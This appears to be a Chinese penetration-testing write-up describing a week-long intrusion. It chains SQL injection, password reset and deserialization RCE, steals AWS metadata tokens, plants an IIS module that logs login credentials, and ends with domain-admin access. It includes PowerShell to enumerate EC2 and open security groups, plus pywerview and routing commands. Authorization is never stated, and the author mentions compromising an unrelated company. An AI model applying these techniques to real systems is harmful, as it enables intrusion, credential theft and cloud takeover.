在2023年5月份,我曾经搜集过一次这个目标的资产,但可惜当时没有任何操作的机会。
然而,在2023年12月份再次审查这个目标时,我发现在GitHub上有一份源代码泄露,而且是在六月份之前上传的。这个巧合实在令人惊讶。(渗透结束后,GitHub上的源代码也被删除了)。我个人认为这个案例相当有趣,所以决定分享出来。
此次的渗透就以源码泄露为起点。
入口点
通过泄露的源码在公网上找到了对应的web系统,但与其源码有差异,通过fofa搜索相关资产进行对照也验证了这一点。这里只能对目标的源码进行审计。
代码审计 & 漏洞分析
审计的利用链:SQL注入非ldap用户的用户名 --> 任意密码重置 --> 反序列化RCE
SQL注入
对应方法实现如下:
SQL语句直接进行了字符串拼接,存在联合注入。
任意用户密码重置
重置密码的实现类为ForgotPasswordNew,从代码入口进行分析:
这里的Mession.clsParam.GetValue("Active")作用是判断Active参数是否为空,不为空则将数据解密,然后提取其中的用户名和密码传入到ForgottenPassword()。
ForgottenPassword方法作用是重置用户名密码,实现如下
这里最终调用UMS_********_ResetPass存储过程执行SQL语句,因为用户名和密码均可控,所以能够实现修改任意用户密码进入后台。
RCE反序列化
对应的实现类在Editpage中,同时继承了CustomPage类
追溯到CustomPage,可以看到LoadPageStateFromPersistenceMedium方法中有着很明显的反序列化逻辑。
获取__CUSTOMVIEWSTATE参数,解码解压缩之后进行反序列化,看看解压缩的实现:
在ViewStateCompressor类,该类提供了两个方法即压缩/解压缩
直接用CompressViewState方法构造POC,经过上面的处理逻辑后通过LosFormatter反序列化为任意类型,直接使用yso的链子即可。
漏洞利用
SQL注入![一次取巧的渗透经历 一次取巧的渗透经历]()
任意用户密码重置
RCE反序列化![一次取巧的渗透经历 一次取巧的渗透经历]()
通过上面三个漏洞组成的利用链即可getshell。
因为目标使用了ldap认证登录,本以为getshell之后便能进内网,没想到还是太乐观了,事情没有那么简单。
信息进一步收集及思路整理
getshell之后进行信息收集,发现在ldap之前走了一层web代理。
这里的 api_username 及 api_password 大概率不是ldap的用户,仅仅只是接口的认证用户。
查看目标数据库,发现ldap用户基本上都没有密码,那就代表之前并没有使用ldap认证,是后来才加的,不过这也给我们提供了一些常用的密码及历史密码用来爆破。
确定带有密文且现在为ldap认证的用户
可以看出password是加密的
那么目前需要做的是:
-
收集ldap用户名
-
密码解密
-
爆破
密码解密这部分不过多赘述。
爆破最后选择的是其他接口(后面会进行解释),因为有这台机器,一些公网不能访问的资产也可以访问到,其中就包括sso,不过很奇怪,这个sso也仅仅只做认证校验,而没有其他任何的功能。
LDAP用户名
共计271个,数量可观
爆破
运气不错,爆破出了一个账号。
这里我就要解释一下,为什么不用之前的api接口:在查看代码的时候,发现该接口需要提供一个正确的用户账号密码。为了保证爆破不存在误差,所以选择了其他接口。
不过在api的接口中发现了一个很有意思的参数SearchUserInfomation
,照字面意思应该是可以搜索用户信息,如果可以带上通配符或者它是模糊查询,那理论上就可以将全部用户down出来。
构造接口说干就干。
查询测试
当我们输入字符串aa
时,有一个结果为caav
,那就代表该接口可以模糊查询。
那我们将26个英文字母的所有两个字母的组合跑一遍,即可获取到非一位字母及非纯数字用户的所有用户的信息。
去重之后最终的结果是13075个用户信息,且百分百准确。
然后用这些用户再去跑一遍弱口令,加上之前的一个也仅仅只获得了5个正确的用户账号密码。
到这里实际上还没进域,且还离得很远。
AWS云渗透
做了上述的操作之后,转头回来看看机器。
现在可以确定的是该机器非域内用户且是aws云机器,那么就往云上靠靠。
云的信息收集
关于云的机器,我平常只关心两个信息点
1. http://169.254.169.254/latest/user-data
2. http://169.254.169.254/latest/meta-data/iam/security-credentials
user-data在我的理解中是用户数据脚本,当机器开机时会读取用户数据脚本中的命令并执行。
看看目标的user-data
中奖了,可以获取某个administrators组用户的密码,但是前提条件是要有一个accesskey能访问到arn:aws:secretsmanager
接下来看看关于accesskey的操作。
在云机器中,http://169.254.169.254/latest/meta-data/iam/security-credentials
该链接下可能会存在临时token,而临时token的权限大小也是有管理员把控的,且临时token是否可以使用也完全是运气成分。
获取临时token
临时token的使用
我这里选择的是AWSPowerShell
# 导入模块
1. Remove-AWSCredentialProfile -ProfileName test
# 导入临时token
2. Set-AWSCredentials -AccessKey AccessKey -SecretKey SecretKey -SessionToken ISessionToken -StoreAs test
# 设置token的区域
3. Initialize-AWSDefaultConfiguration -ProfileName test -Region ap-southeast-1
## 验证token是否有效
4. Get-STSCallerIdentity
这里验证key是有效的,那么就来生成刚刚user-data中的密码
成功,没有任何问题。
接下来就是利用密码复用拿下更多的机器,因为我们获取到了token,在权限足够的情况下是可以直接列出机器信息的。
这里附上我修改的ps1代码,原版来自于网络:
$ec2List = Get-EC2Instance -Filter @{'name'='instance-state-name';'values'='running'}
$ec2DetailsList = $ec2List.Instances | ForEach-Object {
$properties = [ordered]@{
Name = ($_ | Select-Object -ExpandProperty tags | Where-Object -Property Key -eq Name).value
InstanceID = $_.InstanceId
PrivateIP = $_.PrivateIpAddress
PublicIp = $_.PublicIpAddress
Platform = $_.Platform
KeyName = $_.KeyName
SecurityGroups = ($_.SecurityGroups.groupname -join " | ")
SubnetId = $_.SubnetId
InstanceType = $_.InstanceType
AmiID = $_.ImageID
ImageName = (Get-EC2Image -ImageId $_.ImageID).Name
}
New-Object -TypeName PSObject -Property $properties
}
$ec2DetailsList | Sort-Object -Property ImageName | Export-Csv -Path C:UsersADMINDesktopEc2DetailList.csv -NoTypeInformation
获取到内网ip之后想要直接横向命令执行,但是探测之后发现端口都没开,那就看一下网络安全组的策略
这里也附上代码,同样这个也是有权限的要求的:
function Get-EC2SecurityGroupDetails {
$securityGroups = Get-EC2SecurityGroup
foreach ($securityGroup in $securityGroups) {
$securityGroup.IpPermissions | ForEach-Object {
[PSCustomObject]@{
GroupName = $securityGroup.GroupName
GroupId = $securityGroup.GroupId
IpProtocol = $_.IpProtocol
FromPort = $_.FromPort
ToPort = $_.ToPort
Ipv4Ranges = $_.Ipv4Ranges.CidrIp -join ', '
}
}
}
}
Get-EC2SecurityGroupDetails | Sort-Object -Property GroupName | Export-Csv -Path "C:UsersADMINDesktopEC2SecurityGroupDetails.csv" -NoTypeInformation
管理员的确做了很严格的限制。接下来的操作就是修改安全组,开放我们想要的端口(图中的3389是不对任何一台机器开放,只对自己开放的)
无奈到了这步之后手里的权限就不太够用了,说实话我也没有太多的思路对aws进行操作了。
这里也附上修改策略组的命令:
# 添加
1. Grant-EC2SecurityGroupIngress -GroupId 'GroupId' -IpPermission @{IpProtocol="tcp"; FromPort="5985"; ToPort="5985"; IpRanges="0.0.0.0/0"}
# 撤销
2. Revoke-EC2SecurityGroupIngress -GroupId 'GroupId' -IpPermission @{IpProtocol="tcp"; FromPort="5985"; ToPort="5985"; IpRanges="0.0.0.0/0"}
这里需要特别注意的是,同一个端口在aws可以设置多次,如果你要修改的端口已经做了强限制,例如只允许本机连接,我建议是开放其他可以操作的端口。
非常戏剧性的是,我在fofa捞相同资产的时候,发现了一个界面很相似的别家公司的同套web系统,我打下之后发现是和目标的这个aws连通的,包括 aws 临时token列出来的机器,由此可以猜测该web系统是由供应商统一部署的,实际上控了别的机器没啥意义,有趣的是这家供应商我在之前也打过,本来觉得没啥用,但白白浪费了我半天时间,等有空了我必把这个供应商给扬了。
柳暗花明又一村
到这实在实在没办法了,再整理一下思路。
-
1. 尽可能多的收集资产 -
2. 利用web钓鱼
没到万不得已的地步暂时不打算考虑启用钓鱼的方案。
那就再收集更多的东西,这里我的处理方案是:在登录口记录账号密码,利用收集到的账号密码尝试登陆VPN。
程序封装在dll里,懒,不想改,就顺手写了个指定页面过滤指定传参内容的IIS模块,具体就不说了,网上都有。
第二天收集到了将近30个用户,也顺利的搞到了VPN的账号密码。
被分配到了172.16.*的C段
DNS给的是172.30.*的C段,尝试该DNS服务器是否是DC
boom!!!中奖!!!
目前掌握域的账号密码,已经可以连通DC的389、88端口,那么可以做更多的尝试。
先把完整LDAP的信息导出,用ADExplorer.exe
或其他工具,我这里使用的是pywerview
,这里把命令给出来
# 获取全部用户信息
pywerview get-netuser -w DOMAIN -u USER -p PWD --dc-ip DCIP > netuser.target.txt
# 获取admincount=1的用户
pywerview get-netuser -w DOMAIN -u USER -p PWD --dc-ip DCIP --admin-count > netuser.target.txt
# 获取全部机器信息
pywerview get-netcomputer -w DOMAIN -u USER -p PWD --dc-ip DCIP --full-data > netuser.target.txt
# 获取其他信息可自行查看,这里只列出部分命令
探测各种域漏洞....不过都不存在。这里要讲一下关于adcs的坑。:
因为我的环境是新装的,使用adcs的工具certipy
遇到了各种奇奇怪怪的问题,这里我列出来一下,各位有遇到的可参考。
首先遇到的问题是ldap3.core.exceptions.LDAPSocketOpenError: socket ssl wrapping error: [Errno 104] Connection reset by peer
网上查了各种文章,最后的解决方案是:
# vim /etc/ssl/openssl.cnf
# openssl_conf = default_conf
# 在最后添加
[ default_conf ]
ssl_conf = ssl_sect
[ssl_sect]
system_default = ssl_default_sect
[ssl_default_sect]
MinProtocol = TLSv1
CipherString = DEFAULT:@SECLEVEL=1
# 参考文章 https://takraw-s.medium.com/fix-errors-socket-ssl-wrapping-error-errno-104-connection-reset-by-peer-9c63c551cd7
遇到的第二个问题是[-] Got error: unsupported hash type MD4
解决方案是:
pip3 install pycryptodome --break-system-packages
好不容易跑起来,又遇到了一个问题AttributeError: module 'enum' has no attribute '_decompose'
这里的解决方案是:
将_decompose函数添加回/usr/lib/python3.11/enum.py中(这里路径可能不相同,我使用的是kali)
def _decompose(flag, value):
"""
Extract all members from the value.
"""
# _decompose is only called if the value is not named
not_covered = value
negative = value < 0
members = []
for member in flag:
member_value = member.value
if member_value and member_value & value == member_value:
members.append(member)
not_covered &= ~member_value
if not negative:
tmp = not_covered
while tmp:
flag_value = 2 ** _high_bit(tmp)
if flag_value in flag._value2member_map_:
members.append(flag._value2member_map_[flag_value])
not_covered &= ~flag_value
tmp &= ~flag_value
if not members and value in flag._value2member_map_:
members.append(flag._value2member_map_[value])
members.sort(key=lambda m: m._value_, reverse=True)
if len(members) > 1 and members[0].value == value:
# we have the breakdown, don't need the value member itself
members.pop(0)
return members, not_covered
#参考文章:https://github.com/ly4k/Certipy/issues/108
不过这个问题只会在python3.11上遇到。
不存在域漏洞,那么怎么办呢?继续看机器。
但是经过测试,VPN只能通同网段DC,不通其他网段的DC,且不通其他任何一台机器,应该是做了限制。到这又陷入了僵局。
只能继续看看其他资产,记录web的账号密码,万一记录到域管的密码也说不定。
草草收场
是的,这个标题,预示着web系统记录到了域管的账号密码。
使用impacket
包的tstool
列出机器进程(kali自带的impacket没有这个脚本,自己自行安装):
python3 tstool.py domain/user:pass@host tasklist
Trellix,麦咖啡与火眼的新产品,平民产品,没有火眼那么牛逼,直接命令执行。
这里使用的是wmiexec-Pro
,直接探测DC是否出网(如果不是气急败坏一般不建议这样做)
运气不是一般好,DC也出网....
到这基本上整个渗透就结束啦,虽然看着篇幅很短不过的确做了非常多的尝试,下面还有一些VPN环境下渗透的小Tips...
VPN环境下的渗透
目标VPN产品Global Protect
在linux连接上有个坑,具体原因不知,不过最后是找到了解决方案:
sudo openconnect --protocol=gp url --os=win
其实有了VPN权限之后渗透会轻松很多,但也会遇到和我同样的情况,ACL的限制导致只能通DC的一些端口,但这是VPN本身的限制,但是如果我们自行添加网段呢?
上面重码,导致看不到DC IP的C段,DC IP段为:172.30.81.1/24
。
着重关注LDAP信息中的MIS、IT等机器,尽可能收集多的IP段,以这个目标为例,我们收集到了172.30.80.1/24
为目标的MIS、IT常用段,添加网段:
# windows
route add 172.30.80.0 MASK 255.255.255.0 172.30.81.32
route delete 172.30.80.0 MASK 255.255.255.0 172.30.81.32
# linux
route add -net 172.30.80.0 gw 172.30.81.32 netmask 255.255.255.0
route delete -net 172.30.80.0 gw 172.30.81.32 netmask 255.255.255.0
添加了之后会发生什么呢?具体请看图:
是的,能扫描更多的信息了。
如果web系统没记录到密码呢?下步的操作应该就是打图中的PMP系统了,探测了一下的确是存在漏洞的。
不过一切都结束了,这个项目到目前耗费了将近一周的时间,接下来就到了资产分析以及找我们想要的东西的环节了,这里就不赘述了。感谢观看~
原文始发于微信公众号(低级间歇性威胁):一次取巧的渗透经历
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论